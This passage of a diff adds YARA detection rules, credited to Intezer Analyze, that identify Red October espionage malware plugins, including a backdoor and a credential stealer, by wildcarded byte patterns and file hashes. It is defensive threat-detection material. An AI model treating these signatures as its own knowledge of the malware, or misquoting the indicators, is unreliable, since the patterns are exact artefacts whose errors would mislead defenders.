+		$block_13 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_19 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_20 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_21 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_22 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_24 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_26 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_28 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "ae5bd9750738afef22568a3400a876e5bfefb4fe1d24e8badef97c756c9056ca" or
+		12 of them
+}
+
+rule RedOctoberPluginAdobeBDInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_11 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_12 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_15 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "feb0166bf33745d7d065d4815022b5d76ff6a5b999181aa719bf5e72f8328f23" or
+		12 of them
+}
+
+rule RedOctoberPluginFrogbackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 5? 8D ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_3 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_5 = { 6A ?? 5? 5? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? FF D? 4? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_15 = { 0F B7 ?? ?? 83 ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 8D ?? ?? ?? 85 ?? 7E }
+		$block_16 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_17 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_18 = { 5? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 5? 5? 5? 6A ?? 6A ?? 8D ?? ?? 5? FF D? 89 ?? ?? 83 ?? ?? 0F 85 }
+		$block_20 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_21 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_22 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? 8A ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_25 = { 8B ?? ?? 33 ?? 5? 33 ?? 4? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_26 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_27 = { 8B ?? ?? 5? 33 ?? 32 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "79cf65316806b8e30ef0baaa14bf891720fd17578e9789f199084ff5f522014b" or
+		12 of them
+}
+
+rule RedOctoberPluginCredentialStealing {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? 5? 5? 5? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? BE ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 4? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? FF D? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4? 4? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 4? FF 0? ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 4? A1 ?? ?? ?? ?? 4? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 4? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 03 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? 4? 8B ?? FF 0? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 8B ?? 89 ?? ?? ?? ?? ?? 4? 8B ?? ?? ?? ?? ?? 0B ?? 0F 84 }
+		$block_1 = { 8B ?? 5? 5? 5? 03 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? 8B ?? 4? BF ?? ?? ?? ?? 4? A3 ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? B9 ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? BF ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 4? BF ?? ?? ?? ?? 4? 4? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? A1 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 2B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 4? B9 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 8B ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 8B ?? 8B ?? 8B ?? BB ?? ?? ?? ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? 8B ?? BF ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? FF 0? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? BB ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? B8 ?? ?? ?? ?? BE ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? 